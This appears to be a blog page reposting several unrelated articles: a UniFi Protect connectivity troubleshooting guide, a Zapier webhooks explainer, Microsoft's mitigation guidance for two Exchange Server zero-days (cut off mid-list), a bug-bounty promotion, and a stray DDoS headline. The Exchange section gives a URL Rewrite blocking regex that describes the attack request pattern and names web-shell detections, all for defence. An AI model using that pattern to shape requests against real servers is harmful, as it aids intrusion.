UniFi Protect – Optimizing Camera Connectivity

This article describes how to access your UniFi Protect application locally or remotely, the factors that create access issues, and how to solve said issues.

How to connect to UniFi Protect

There are two ways to access your UniFi Protect application:

  • Locally by accessing the IP address of the UniFi OS Console hosting Protect; or
  • Remotely on the Protect web application (unifi.ui.com ) or mobile app (iOS / Android ).

Note: Remote access must be enabled in your Protect application. It is enabled by default.

To enable Remote Access in your UniFi Protect application:

  1. Access the UniFi OS Console hosting Protect via its IP address. 
    1. If you don’t know your UniFi OS Console’s IP address , use the WiFiman app (iOS / Android ) to locate it on your WiFi network.
  2. Log in to your Ubiquiti SSO account.
  3. Go to the System Settings > Advanced menu, and enable the Remote Access toggle.

Identifying issues

To identify potential reasons for Protect connectivity issues:

  • Try accessing your UniFi OS Console locally by entering its IP address in your web browser, or remotely via Protect web application (unifi.ui.com ) or mobile app.
  • Use different mobile devices, ideally running different operating systems (iOS, Android).
  • Use different supported browsers, such as Chrome, Firefox, or Safari, on different computers.
  • Connect to different client locations, such as:
    • A local network with the same subnet as the Protect application.
    • A mobile carrier network via a mobile device or tethering.
    • A remote network, such as a workplace or public WiFi network.
  • Have multiple users, ideally with different system roles, attempt to access the Protect application.

Note: Note your observations. They may be helpful if you need to contact our technical support team.

My camera streams load slowly or buffer frequently

To identify potential reasons for slow stream loading and/or frequent buffering:

  • Check the stability of network connection:
    • Perform a speed test using the Wifiman app while connected to the same network as your UniFi OS Console. UniFi Protect should perform well with a network connection better than 5 Mbps and decently with a connection of at least 2.5 Mbps. Below this, performance may suffer.
  • Ensure that your computer or mobile network is not limiting bandwidth:
    • A VPN could be preventing client devices from making a peer-to-peer connection with your UniFi OS Console, meaning that all data is first relayed through Ubiquiti’s Remote Management Service—leading to diminished performance. If so, disable the VPN.
    • Check if there’s a subnet conflict where the UniFi OS Console is on a different subnet than the client, but still on LAN. If the client needs to reach your UniFi OS Console’s subnet but doesn’t have a route, it will hit the gateway (the local router), which knows how to route to the UniFi OS Console. If a VPN is enabled and there’s a configured route on the VPN that goes to another network with the same subnet, it will override. 
  • Inspect your UniFi OS Console’s performance data by making sure you haven’t exceeded its maximum supported camera limit . If so, streaming performance will be diminished.
  • Check your computer’s CPU utilization. A lower-specialization computer may not be capable of playing back multiple video streams. If the CPU utilization is nearing 100%, try playing back fewer video streams (e.g., fewer cameras on the live view matrix).

I can access Protect locally but not remotely

If you can’t access the Protect application remotely:

  1. Check if Remote Access is enabled:
    1. If it is enabled , try disabling it and enabling again.
  2. Confirm that you have permission to access Protect remotely. For more information, see UniFi Protect – Add and manage users .
  3. Visit status.ui.com to see if there are any issues with Ubiquiti’s Remote Management Service currently being resolved.

I can’t access Protect from the mobile app

If you can’t access Protect from the mobile app:

  1. Verify that the UniFi Protect mobile app is updated to the latest version.
  2. Ensure that the UniFi Protect mobile app is not restricted from accessing WiFi or cellular data:
    1. For iOS devices , go to the Settings > Cellular Data menu and make sure UniFi Protect is toggled on.
    2. For Android devices , go to the Settings > WiFi & Internet > Data Usage > Cellular Data Usage menu, select UniFi Protect, and make sure WiFi and cellular data are not disabled in the App data usage section.
  3. Disable VPN if one is enabled since some VPNs may block WebRTC connectivity, which is used by Protect.
    1. For Android devices with VPN enabled , try disabling the Private DNS in the Settings > WiFi & Internet > Private DNS menu. On some WiFi and mobile carrier networks, certain Private DNS providers such as CloudFlare’s 1.1.1.1 may interfere with WebRTC.
  4. Disable or remove any third-party security or privacy apps that may interfere with network connectivity.
  5. Force-quit the mobile app and open it again.
  6. Uninstall the mobile app, reinstall, and open it.

I can’t access Protect from my web browser

If you’re having trouble accessing Protect from a web browser, but you can connect with the mobile app or a web browser on a different network, there may be an issue with your network configuration. For more information, see the Advanced troubleshooting processes section. 

If you have a UniFi Cloud Key Gen2 Plus (UCK G2 Plus) updated to Version 2.0.24 running Protect application Version 1.14.0 or higher , it operates via UniFi OS and, therefore, can be accessed remotely at unifi.ui.com , not protect.ui.com.

If you don’t see your Cloud Key-hosted Protect application on unifi.ui.com , make sure your UCK G2 Plus’s firmware is up to date. For more information, see UniFi – How to manage & upgrade the Cloud Key .

If your Cloud Key’s firmware is up to date and can see the Protect application at unifi.ui.com but can’t access it , check if Remote Access is enabled. The recent firmware upgrade might have disabled Remote Access functionality. Follow the steps in the How to connect to UniFi Protect section.

I can’t access Protect on a specific browser

Browser-specific access failures are most often caused by third-party software, such as a browser extension or an application on the host computer.

Common extensions, software, and other features known to cause issues include:

  • uBlock Origin
  • Privacy Badger
  • WebRTC Leak Prevent
  • Various VPN services, such as Tunnelbear
  • Ad or traffic blockers that interfere with WebRTC connectivity used by UniFi Protect

To troubleshoot browser issues:

  1. Disable all suspected third-party security or privacy-related browser extensions and software.
  2. If you can now access Protect , re-enable the extensions and software, one at a time, and test your Protect access after each one. This will help you identify the inhibiting software.
  3. (For Chrome only ) Disable the feature flag, Anonymize local IPs exposed by WebRTC :
    1. Copy and paste the following into your address bar: chrome://flags/#enable-webrtc-hide-local-ips-with-mdns
    2. Select Disabled , then restart Chrome.

Once you’ve found the inhibiting software, leave it disabled or uninstall it. If it’s essential, however, contact the developer’s support team for further guidance on how to configure it so it doesn’t prevent Protect access.

I’m a new user and see a No Controllers Detected notification

If you’re a new user signing in via unifi.ui.com or the Protect mobile app and the UniFi OS Console that hosts your Protect application isn’t appearing , make sure that your user permissions include remote access to the UniFi OS Console. For more information on creating users, see UniFi Protect – Add and manage users .

In some cases, a new user can accept a Protect application invitation, log in to their Ubiquiti account via web browser, initially see their UniFi OS Console, then receive a No Controllers Detected notification.

If you’re a new user and see a No Controllers Detected notification after trying to access Protect web application :

  1. Make sure that your UniFi OS Console and Protect application versions are up to date.
  2. Make sure that you have permission to remotely access the UniFi Protect application. For more information, see UniFi Protect – Add and manage users .
  3. Verify that you are a verified and active user by going to unifi.ui.com , clicking on your UniFi OS Console, navigating to the Users menu, and checking your user status.
  4. If this doesn’t resolve the issue , delete the custom users and user roles created, reboot the UniFi OS Console, and recreate the users:
    1. Log in to your UniFi OS Console from the Owner account.
    2. Go to unifi.ui.com , click on your UniFi OS Console, navigate to the Users menu, and delete all custom users and user groups. 
    3. Click on the dot grid icon in the top-right corner of the dashboard, navigate to Protect > Roles , and delete all custom user roles. 
    4. Click on the dot grid icon in the top-right corner of the dashboard, click the  Settings Advanced tab on the left side of the following screen, and click Restart Device .
    5. Once the device reboots, log in again with the Owner account and recreate all desired users, groups, and roles. 

Advanced troubleshooting processes

Check if a WebRTC connection can be established

UniFi Protect uses WebRTC technology to establish connections between your UniFi OS Console and client devices through NAT and firewalls, such as a UniFi gateway, without requiring explicit port forwarding or the revision of firewall rules.

Typically, you won’t need to make any changes to your network, device, or client configurations in order to access Protect locally or remotely.

However, to establish a WebRTC connection needed to access Protect, both networks (i.e., the one that your Protect application connects to and the one that your client device(s) connect to) must meet these requirements:

  • Reliable access to Internet and DNS service
  • Adequate bandwidth for basic connectivity and video transfer
  • Outbound TCP connection capability on Port 443
  • Outbound UDP connection capability on Ports 0–65535

    Note: Port forwarding is not required for TCP or UDP connectivity.
  • A firewall configured to accept solicited, inbound UDP traffic
  • No network security appliances (e.g., IPS) or services blocking WebRTC (e.g., STUN or DTLS)
  • No gateways configured to use Symmetric NAT, which either block peer-to-peer connections, force the use of a relay server (i.e., TURN), or cause said relay to fail

Note: For more information on the technical aspects of WebRTC, please visit webrtc.org .

Troubleshooting WebRTC connection issues caused by Symmetric NAT

Symmetric NAT , while uncommon, can cause issues when establishing WebRTC and other peer-to-peer connections because it does not maintain a 1:1 port mapping ratio for established connections, causing them to fail.

If that happens, WebRTC will attempt to connect via a relay server (i.e., TURN), which will result in either diminished connection quality or outright connection failure.

If you are behind a Symmetric NAT , you can either:

  • Establish a VPN connection between the client and Protect; or
  • Configure your router to a mode other than Symmetric NAT, such as Cone NAT.

The UniFi OS Console hosting your UniFi Protect application will automatically detect and log Symmetric NAT on its side but will be unable to determine the NAT type on the clients’ side.

If you suspect Symmetrical NAT on the console-side connection:

  1. Establish an SSH connection to your UniFi OS Console.
  2. Execute the following command: grep -Ri “symmetric” /srv/unifi-protect/logs

Any results will confirm that the connection failed due to Symmetric NAT.

Troubleshooting issues with a particular network

If you identify connectivity problems within a particular network , focus your troubleshooting efforts there. For example, if you can connect to your business’s Protect deployment from home, but not while at a friend’s house, focus on troubleshooting the latter network.

If you can’t access Protect from any remote location , focus first on the application’s on-site network.

In both cases:

  1. Verify that the UniFi OS Console hosting Protect and all client device(s) have a stable internet connection, including a valid gateway IP and DNS servers. Some DNS providers are known to cause problems, such as 1.1.1.1. Try changing it to Google’s 8.8.8.8.
  2. Verify that selected DNS servers properly resolve the following domains:
    1. Device.svc.ubnt.com
    2. Device.amplifi.com
    3. Global.stun.twilio.com
    4. Global.turn.twilio.com
  3. Review your firewall configuration to ensure it meets the requirements listed in the Check if a WebRTC connection can be established section. If you’ve configured custom firewall rules, try disabling them temporarily to test.
  4. Remove any port forwards for UniFi Protect that may have been configured incorrectly.
  5. Disable any network-level security appliance or service rules intended to block WebRTC’s internal protocols, STUN or DTLS. If you are using a UniFi gateway , the UniFi Intrusion Prevention System (IPS) does not require a specific configuration to prevent WebRTC connectivity blockage.

    Source :
    https://help.ui.com/hc/en-us/articles/360034238233-UniFi-Protect-Optimizing-Camera-Connectivity

What are webhooks?

A simple guide to connecting web apps with webhooks

By Matthew Guay · September 20, 2022

what-are-webhooks primary img

You might have seen webhooks mentioned in your apps’ settings and wondered if they’re something you should use. The answer, in a nutshell, is probably yes.

Webhooks are one way that apps can send automated messages or information to other apps. It’s how PayPal tells your accounting app when your clients pay you, how Twilio routes phone calls to your number, and how WooCommerce can notify you about new orders in Slack.

They’re a simple way your online accounts can “speak” to each other and get notified automatically when something new happens. In many cases, you’ll need to know how to use webhooks if you want to automatically push data from one app to another.

Let’s break it down, learn how to speak webhook, and get your favorite apps to talk to each other.

Here’s what we’ll cover:

What are webhooks?

Example SMS message with a sender, receiver, and message

There are two ways your apps can communicate with each other to share information: polling and webhooks. As one of our customer champion’s friends has explained it: polling is like knocking on your friend’s door and asking if they have any sugar (aka information), but you have to go and ask for it every time you want it. Webhooks are like someone tossing a bag of sugar at your house whenever they buy some. You don’t have to ask—they just automatically punt it over every time it’s available.

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Webhooks are automated messages sent from apps when something happens. They have a message—or payload—and are sent to a unique URL—essentially the app’s phone number or address. Webhooks are almost always faster than polling, and require less work on your end.

They’re much like SMS notifications. Say your bank sends you an SMS when you make a new purchase. You already told the bank your phone number, so they knew where to send the message. They type out “You just spent $10 at NewStore” and send it to your phone number +1-234-567-8900. Something happened at your bank, and you got a message about it. All is well.

Webhooks work the same way.

Example webhook data

Take another look at our example message about a new order. Bob opened your store’s website, added $10 of paper to his shopping cart, and checked out. Boom, something happened, and the app needs to tell you. Time for the webhook.

Wait: who’s the app gonna call? Just like you need to tell the bank your phone number before they can text you, for webhooks, you need to tell the originating app—your eCommerce store, in this case—the webhook URL of the receiving app, the app where you want the data to be sent.

Say you want to make an invoice for this new order. The app that creates this invoice is on the receiving end—it’s the app that needs the order data.

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You’d first open your invoice app, make an invoice template, and copy its webhook URL—something like yourapp.com/data/12345. Then open your eCommerce store app, and add that URL to its webhook settings. That URL is your invoice app’s phone number, essentially. If another app pings that URL (or if you enter the URL in your browser’s address bar), the app will notice that someone is trying to send it data.

Ok. Back to the order. Your eCommerce store got the order and knows it needs to send the details to yourapp.com/data/12345. It then writes the order in a serialization format. The simplest of those formats is called “form-encoded”, and means your customer’s order would look something like this:

Customer=bob&value=10.00&item=paper

Now your eCommerce store needs to send the message. The simplest way to send data to a webhooks URL is with an HTTP GET request. Literally, that means to add the data to the URL and ping the URL (or enter it in your browser’s address bar). The same way you can open Zapier’s about page by typing /about after zapier.com, your apps can send messages to each other by tagging extra text with a question mark on the end of a website address. Here’s the full GET request for our order:

https://yourapp.com/data/12345?Customer=bob&value=10.00&item=paper

Deep inside your invoice app, something dings and says “You’ve got mail!” and the app gets to work, making a new invoice for Bob’s $10 paper order. That’s webhooks in action.

Remember when you had to check your email to see if you had new messages—and how freeing push email (“You’ve got mail!”) was? That’s what webhooks are for your apps. They don’t have to check for new info anymore. Instead, when something happens, they can push the data to each other and not waste their time checking and waiting.

→ Ready to start using webhooks? Jump ahead to skip the geeky details—or keep reading to learn more about the terms you’ll often see used with webhooks.


That’s the simple version. Technically, webhooks are “user-defined callbacks made with HTTP” according to Jeff Lindsay, one of the first people to conceptualize webhooks. Webhooks are data and executable commands sent from one app to another over HTTP instead of through the command line in your computer, formatted in XML, JSON, or form-encoded serialization. They’re called webhooks since they’re software hooks—or functions that run when something happens—that work over the web. And they’re typically secured through obscurity—each user of an application gets a unique, random URL to send webhook data to—though they can optionally be secured with a key or signature.

Webhooks typically are used to connect two different applications. When an event happens on the trigger application, it serializes data about that event and sends it to a webhook URL from the action application—the one you want to do something based on the data from the first application. The action application can then send a callback message, often with an HTTP status code like 302 to let the trigger application know if the data was received successfully or 404 if not.

Webhooks are similar to APIs—but simpler. An API is a full language for an app with functions or calls to add, edit, and retrieve data. The difference is, with an API, you have to do the work yourself. If you build an application that connects to another with an API, your application will need to have ways to ask the other app for new data when it needs it. Webhooks, on the other hand, are for one specific part of an app, and they’re automated. You might have a webhook just for new contacts—and whenever a new contact is added, the application will push the data to the other application’s webhooks URL automatically. It’s a simple, one-to-one connection that runs automatically.

How to use webhooks

Video Thumbnail

You know the lingo, understand how apps can message each other with webhooks, and can even figure out what the serialized data means. You speak webhook.

It’s time to use it. The best way to make sure you understand how webhooks work is to test it out, try making your own webhooks, and see if they work. Or, you can jump ahead and just drop your webhook URL into an app to share data—after all, you don’t have to know how to make webhooks to use them.

Here are the resources you need:

Test webhooks with RequestBin and Postman

The quickest way to learn is to experiment—and it’s best to experiment with something you can’t break. With webhooks, there are two great tools for that: RequestBin (owned by Pipedream) and Postman.

How data appears in Requestbin

How data appears in Requestbin

RequestBin lets you create a webhooks URL and send data to it to see how it’s recognized. Go to RequestBin, click Create a RequestBin, then copy the URL it gives you.You’ll need to have a Pipedream account (created with Google or GitHub) before you can view and use a URL.

Now, serialize some data in form encoded style—or copy our example form copy above. Open a new tab, paste your RequestBin URL in the URL bar, add a ? to the end, then paste your serialized data. You’ll end up with something like this:

https://requestbin.com/19uynve1?customer=bob&value=10.00&item=paper

Press enter in your browser’s address bar, and you’ll get a simple message back: success:true. Refresh your RequestBin tab, and you’ll see the data listed at the bottom as in the screenshot above.

Click REST under INTEGRATIONS to see the data.

Click REST under INTEGRATIONS to see the data.

You can then try sending POST requests in Terminal or from your own app’s code, if you’d like, using RequestBin’s sample code. That’s a bit more complex—but gives you a way to play with JSON or XML encoding, too.

The setup in Postman

The setup in Postman

Or, use another app for that. The app Postman lets you make custom HTTP requests for an easy way to send customized data to a webhooks URL. Enter the URL, then choose the HTTP request method you want to use (GET, POST, PUT, etc), and add the body data. That’ll let you send far more detailed requests to your webhook URL without having to use more code.

Add webhooks to your apps

Testing webhooks and serializing data by hand is tricky—as is copying and pasting data from your apps. Let’s skip both, and just get our apps talking to each other.

We’re using WordPress-powered form tool Gravity Forms and document template-builder app WebMerge as the examples here—but the same general idea works in most other apps that support webhooks. Here’s essentially what you need to do:

Gravity Forms Webhook data

Open your form’s Webhook settings in Gravity Forms

First, enable webhooks in your app if they’re not already and open the webhooks settings (in Gravity Forms, for instance, you need to install an add-on; in Active Campaign or WooCommerce, you’ll find webhooks under the app’s default settings). Your app might have one set of webhook settings for the entire app—or, often, it’ll have a specific webhook for each form, document, or other items the app maintains.

We want the data to come from Gravity Forms, so we’ll open the Webhooks settings under the form we want to use. That gives us a URL field (this lets us tell Gravity Forms where we want to send the data) and options to specify the webhook HTTP request method (how to send the data).

WebMerge webhook

Each WebMerge document template has a unique webhook URL.

Now let’s get that URL from the app that will receive the data—WebMerge, in this case. In WebMerge, each document has its own “merge URL”—and it wants the data in form encoded serialization, as you can tell from the ampersands in the example data. Copy the merge URL—or whatever URL your app offers, as it may have a different name.

Tip: You’ll often find webhook URLs and related settings under the “integration”, “webhook”, or “workflow” settings, depending on your app.

Add webhooks URL to Gravity Forms

Add the webhooks URL to your trigger app so it can share data when something happens

Finally, go back to your trigger app—Gravity Forms in our case—and paste the webhook URL in Gravity Forms’ URL field. You may also be able to set the correct request method and the specific field values to ensure only the data you want is sent, and is shared with the same variable names as the receiving app uses. Save the settings, and you’re good to go.

The next time someone fills out our form that Bob ordered 10.00 of paper, Gravity Forms will send the data to WebMerge’s URL as https://www.webmerge.me/merge/149933/gxszxg?Name=Bob&Item=Paper&Value=10.00 and WebMerge will turn that into a complete invoice.


PayPal IPN

PayPal IPN is very similar to webhooks—and you can add a webhook URL to PayPal to get payment notifications

Once you start using webhooks, you’ll notice them (or similar links) everywhere, in places you never thought they’d show up. PayPal, for instance, uses Instant Payment Notifications or IPNs to send notifications whenever you receive a payment. Have an app that you’d like to do something whenever you get a PayPal payment? Add its webhooks URL to PayPal’s IPN settings and that app will get a message the next time you get money.

Or take TwimletsTwilio‘s simple apps to forward calls, record voicemail messages, start a conference call, and more. To, say, forward a call, you’ll add a familiar, webhook-style Twimlet address like http://twimlets.com/forward?PhoneNumber=415-555-1212 to your Twilio phone number settings. Want to build your own phone-powered app, or notify another app when a new call comes in? Put your webhook URL in Twilio’s settings instead.

They might go by different names, but once you notice places where apps offer to send notifications to a unique link, you’ll often have found somewhere else webhooks can work. Now that you know how to use webhooks, you can use them to make software do whatever you want.

Use webhooks in any app with Zapier

Many apps on Zapier use webhooks behind the scenes already. You may not realize it, since Zapier apps generally handle all the actual setup for you. If you come across an app that offers webhooks as an option, you can use a webhooks step in a Zap to set that up yourself using what you’ve learned about webhooks. Note: Webhooks by Zapier is a built-in tool only available to Zapier users on a paid plan or during their trial period.

Copy Webhooks URL from Zapier

Say you have an app that can send data to a webhooks URL. To connect it to other apps, you’ll make a new Zap—what we call Zapier’s automated app workflows—and choose Webhooks by Zapier as the trigger app. Select Catch Hook, which can receive a GET, POST, or PUT request from another app. Zapier will give you a unique webhooks URL—copy that, then add it to your app’s webhooks URL field in its settings.

GET requests ask the server for data. POST requests send data to a computer. PUSH requests ask the server for specific data, typically to update it.

Test webhooks in Zapier

Zapier will parse each serialized item from your webhook data

Then have your app test the URL, or perhaps just add a new item (a new form entry, contact, or whatever thing your app makes) to have your app send the data to the webhook. Test the webhook step in Zapier, and you’ll see data from the webhook listed in Zapier.

Use webhooks in action app in Zapier

You can add each data item from your webhook to another app in Zapier

Now you can use that data in another app. Select the action app—the app you want to send data to. You’ll see form fields to add data to that app. Click in the field where you want to add webhooks data and select it from the dropdown. Test your Zap and it’s now ready to use. Now the next time your trigger app sends data to the webhook, Zapier will automatically add it to the action app you selected.


Zapier webhook action

Zapier can send any data you want to a webhooks URL

The reverse works as well. Want to send data from one app to another via webhooks? Zapier can turn the data from the trigger app into a serialized list and send it to any webhooks URL you want.

First, select the trigger app you want to send data from, and set it up in Zapier as normal. Then select Webhooks as the action app, and choose how you want to send the data (POST is typically the best option for most webhook integrations).

Finally, paste the webhooks URL from the app you want to receive the data into the URL field in Zapier’s webhook settings. You can choose how to serialize the data (form or JSON are typically best). Zapier will then automatically send all of the data from your trigger app to the webhook—or you can set the specific data variables from the Data fields below.

Zapier send data to webhook URL

You can specify how Zapier serializes your data and choose the specific data it sends to your webhook

You’re now ready to use your Zap. Now whenever something new happens in your trigger app, Zapier will copy the data and send it to your other app’s webhooks URL.


Webhooks are one of the best ways to connect apps that wouldn’t otherwise work with Zapier. Have a Mac or iPhone app that doesn’t connect with Zapier? Using Alfred or Siri Shortcuts—plus a Zapier Webhooks URL—you can connect them to your Zapier workflows. Here’s how:

Or, automate any other app that uses webhooks with Zapier’s webhook integrations or use one of these popular Zap templates to get started quickly:

Add info to a Google Sheet from new Webhook POST requests

Try it

  • Google Sheets logo
  • Webhooks by Zapier logo

Google Sheets, Webhooks by Zapier

Google Sheets + Webhooks by ZapierMore details

Send webhooks with new items in RSS feeds

Try it

  • RSS by Zapier logo
  • Webhooks by Zapier logo

RSS by Zapier, Webhooks by Zapier

RSS by Zapier + Webhooks by ZapierMore details

POST new Facebook Lead Ads to a webhook

Try it

  • Facebook Lead Ads logo
  • Webhooks by Zapier logo

Facebook Lead Ads, Webhooks by Zapier

Facebook Lead Ads + Webhooks by ZapierMore details

Send emails with new caught webhooks

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  • Email by Zapier logo
  • Webhooks by Zapier logo

Email by Zapier, Webhooks by Zapier

Email by Zapier + Webhooks by ZapierMore details

POST new user tweets to a webhook

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  • Twitter logo
  • Webhooks by Zapier logo

Twitter, Webhooks by Zapier

Twitter + Webhooks by ZapierMore details


Time to start using webhooks

Ok, you’ve got this. Armed with your newfound knowledge about webhooks and their confusing terminology, you’re ready to start using them in your work. Poke around your favorite web apps’ advanced settings and see if any of them support webhooks. Think through how you could use them—then give it a shot.

And bookmark this article. Next time you read something about a GET request needing to make an HTTP callback, or see a URL with ?name=bob&value=10 and such at the end, you’ll know what it actually means.

Further Reading: Want to learn more about webhooks? Read up on our Webhooks documentation page for all the details.

Source :
https://zapier.com/blog/what-are-webhooks/

Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server

September 30, 2022 updates:

  • Added link to Microsoft Security blog in Summary.
  • Microsoft created a script for the URL Rewrite mitigation steps and modified step 6 in the Mitigations section.
  • Microsoft released the Exchange Server Emergency Mitigation Service (EMS) mitigation for this issue. More information is in the Mitigations section. 
  • Antimalware Scan Interface (AMSI) guidance, and auditing AV exclusions to optimize detection, and blocking of the Exchange vulnerability exploitation in the Detections section.
  • Microsoft Sentinel hunting queries in the Detections section.

Summary

Microsoft is investigating two reported zero-day vulnerabilities affecting Microsoft Exchange Server 2013, Exchange Server 2016, and Exchange Server 2019. The first one, identified as CVE-2022-41040, is a Server-Side Request Forgery (SSRF) vulnerability, and the second one, identified as CVE-2022-41082, allows Remote Code Execution (RCE) when PowerShell is accessible to the attacker.  

Currently, Microsoft is aware of limited targeted attacks using these two vulnerabilities.  In these attacks, CVE-2022-41040 can enable an authenticated attacker to remotely trigger CVE-2022-41082. It should be noted that authenticated access to the vulnerable Exchange Server is necessary to successfully exploit either vulnerability.

We are working on an accelerated timeline to release a fix. Until then, we’re providing mitigations and the detections guidance below to help customers protect themselves from these attacks. 

Microsoft Exchange Online has detections and mitigations to protect customers. As always, Microsoft is monitoring these detections for malicious activity and we’ll respond accordingly if necessary to protect customers.

Microsoft Security Threat Intelligence teams have provided further analysis of observed activity along with mitigation and detection guidance in a new Microsoft Security blog.

We will also continue to provide updates here to help keep customers informed. 

Mitigations

Exchange Online customers do not need to take any action.

The current Exchange Server mitigation is to add a blocking rule in “IIS Manager -> Default Web Site -> URL Rewrite -> Actions” to block the known attack patterns. Exchange Server customers should review and choose only one of the following three mitigation options.

Option 1: For customers who have the Exchange Server Emergency Mitigation Service (EMS) enabled, Microsoft released the URL Rewrite mitigation for Exchange Server 2016 and Exchange Server 2019. The mitigation will be enabled automatically. Please see this blog post for more information on this service and how to check active mitigations.

Option 2: Microsoft created the following script for the URL Rewrite mitigation steps. https://aka.ms/EOMTv2 

Option 3: Customers can follow the below instructions, which are currently being discussed publicly and are successful in breaking current attack chains. 1. Open IIS Manager. 
2. Select Default Web Site.
3. In the Feature View, click URL Rewrite.

4. In the Actions pane on the right-hand side, click Add Rule(s)…  

5. Select Request Blocking and click OK. 

6. Add the string “.*autodiscover\.json.*\@.*Powershell.*” (excluding quotes).
7. Select Regular Expression under Using.
8. Select Abort Request under How to block and then click OK.

9. Expand the rule and select the rule with the pattern .*autodiscover\.json.*\@.*Powershell.* and click Edit under Conditions

10. Change the Condition input from {URL} to {REQUEST_URI}

NOTE: If you need to change any rule it is best to delete and recreate it.

Impact: There is no known effect on Exchange functionality if URL Rewrite is installed as recommended. 

Detections

Microsoft Sentinel 

Based on what we’re seeing in the wild, looking for the techniques listed below will help defenders. Our post on Web Shell Threat Hunting with Microsoft Sentinel also provides guidance on looking for web shells in general.  

The Exchange SSRF Autodiscover ProxyShell detection, which was created in response to ProxyShell, can be used for queries as there are similarities in function with this threat. Also, the new Exchange Server Suspicious File Downloads and Exchange Worker Process Making Remote Call queries specifically look for suspicious downloads or activity in IIS logs. In addition to those, we have a few more that might be helpful when looking for post-exploitation activity:

Microsoft Defender for Endpoint 
Microsoft Defender for Endpoint detects post-exploitation activity. The following alerts can be related to this threat:  

  • Possible web shell installation 
  • Possible IIS web shell
  • Suspicious Exchange Process Execution 
  • Possible exploitation of Exchange Server vulnerabilities 
  • Suspicious processes indicative of a web shell 
  • Possible IIS compromise 

Customers with Microsoft Defender Antivirus enabled can also detect the web shell malware used in exploitation of this vulnerability in-the-wild as of this writing with the following alerts:

  • ‘Chopper’ malware was detected on an IIS Web server 
  • ‘Chopper’ high-severity malware was detected 

Microsoft Defender Antivirus 
Microsoft Exchange AMSI integration and Antivirus Exclusions

Exchange supports the integration with the Antimalware Scan Interface (AMSI) since the June 2021 Quarterly Updates for Exchange. It is highly recommended to ensure these updates are installed and AMSI is working using the guidance provided by the Exchange Team, as this integration provides the best ability for Defender Antivirus to detect and block exploitation of vulnerabilities on Exchange.

Many organizations exclude Exchange directories from antivirus scans for performance reasons. It’s highly recommended to audit AV exclusions on the Exchange systems and assess if they can be removed without impacting performance and still ensure the highest level of protection. Exclusions can be managed via Group Policy, PowerShell, or systems management tools like System Center Configuration Manager.

To audit AV exclusions on an Exchange Server running Defender Antivirus, launch the Get-MpPreference command from an elevated PowerShell prompt.

If exclusions cannot be removed for Exchange processes and folders, running Quick Scan in Defender Antivirus scans Exchange directories and files regardless of exclusions.

Microsoft Defender Antivirus (EPP) provides detections and protections for components and behaviors related to this threat under the following signatures: 

Why Continuous Security Testing is a Must for Organizations Today

The global cybersecurity market is flourishing. Experts at Gartner predict that the end-user spending for the information security and risk management market will grow from $172.5 billion in 2022 to $267.3 billion in 2026.

One big area of spending includes the art of putting cybersecurity defenses under pressure, commonly known as security testing. MarketsandMarkets forecasts the global penetration testing (pentesting) market size is expected to grow at a Compound Annual Growth Rate (CAGR) of 13.7% from 2022 to 2027. However, the costs and limitations involved in carrying out a penetration test are already hindering the market growth, and consequently, many cybersecurity professionals are making moves to find an alternative solution.

Pentests aren’t solving cybersecurity pain points

Pentesting can serve specific and important purposes for businesses. For example, prospective customers may ask for the results of one as proof of compliance. However, for certain challenges, this type of security testing methodology isn’t always the best fit.

1 — Continuously changing environments

Securing constantly changing environments within rapidly evolving threat landscapes is particularly difficult. This challenge becomes even more complicated when aligning and managing the business risk of new projects or releases. Since penetration tests focus on one moment in time, the result won’t necessarily be the same the next time you make an update.

2 — Rapid growth

It would be unusual for fast-growing businesses not to experience growing pains. For CISOs, maintaining visibility of their organization’s expanding attack surface can be particularly painful.

According to HelpNetSecurity, 45% of respondents conduct pentests only once or twice per year and 27% do it once per quarter, which is woefully insufficient given how quickly infrastructure and applications change.

3 — Cybersecurity skills shortages

As well as limitations in budgets and resources, finding the available skillsets for internal cybersecurity teams is an ongoing battle. As a result, organizations don’t have the dexterity to spot and promptly remediate specific security vulnerabilities.

While pentests can offer an outsider perspective, often it is just one person performing the test. For some organizations, there is also an issue on trust when relying on the work of just one or two people. Sándor Incze, CISO at CM.com, gives his perspective:

“Not all pentesters are equal. It’s very hard to determine if the pentester you’re hiring is good.”

4 — Cyber threats are evolving

The constant struggle to stay up to date with the latest cyberattack techniques and trends puts media organizations at risk. Hiring specialist skills for every new cyber threat type would be unrealistic and unsustainable.

HelpNetSecurity reported that it takes 71 percent of pentesters one week to one month to conduct a pentest. Then, more than 26 percent of organizations must wait between one to two weeks to get the test results, and 13 percent wait even longer than that. Given the fast pace of threat evolution, this waiting period can leave companies unaware of potential security issues and open to exploitation.

5 — Poor-fitting security testing solutions for agile environments

Continuous development lifecycles don’t align with penetration testing cycles (often performed annually.) Therefore, vulnerabilities mistakenly created during long security testing gaps can remain undiscovered for some time.

Bringing security testing into the 21st-century Impact

Cybersecurity Testing

A proven solution to these challenges is to utilize ethical hacker communities in addition to a standard penetration test. Businesses can rely on the power of these crowds to assist them in their security testing on a continuous basis. A bug bounty program is one of the most common ways to work with ethical hacker communities.

What is a bug bounty program?

Bug bounty programs allow businesses to proactively work with independent security researchers to report bugs through incentivization. Often companies will launch and manage their program through a bug bounty platform, such as Intigriti.

Organizations with high-security maturity may leave their bug bounty program open for all ethical hackers in the platform’s community to contribute to (known as a public program.) However, most businesses begin by working with a smaller pool of security talent through a private program.

How bug bounty programs support continuous security testing structures

While you’ll receive a certificate to say you’re secure at the end of a penetration test, it won’t necessarily mean that’s still the case the next time you make an update. This is where bug bounty programs work well as a follow-up to pentests and enable a continuous security testing program.

The impact of bug bounty program on cybersecurity

By launching a bug bounty program, organizations experience:

  1. More robust protection: Company data, brand, and reputation have additional protection through continuous security testing.
  2. Enabled business goals: Enhanced security posture, leading to a more secure platform for innovation and growth.
  3. Improved productivity: Increased workflow with fewer disruptions to the availability of services. More strategic IT projects that executives have prioritized, with fewer security “fires” to put out.
  4. Increased skills availability: Internal security team’s time is freed by using a community for security testing and triage.
  5. Clearer budget justification: Ability to provide more significant insights into the organization’s security posture to justify and motivate for an adequate security budget.
  6. Improved relationships: Project delays significantly decrease without the reliance on traditional pentests.

Want to know more about setting up and launching a bug bounty program?

Intigriti is the leading European-based platform for bug bounty and ethical hacking. The platform enables organizations to reduce the risk of a cyberattack by allowing Intigriti’s network of security researchers to test their digital assets for vulnerabilities continuously.

If you’re intrigued by what you’ve read and want to know about bug bounty programs, simply schedule a meeting today with one of our experts.

www.intigriti.com

Source :
https://thehackernews.com/2022/09/why-continuous-security-testing-is-must.html

Record DDoS Attack with 25.3 Billion Requests Abused HTTP/2 Multiplexing

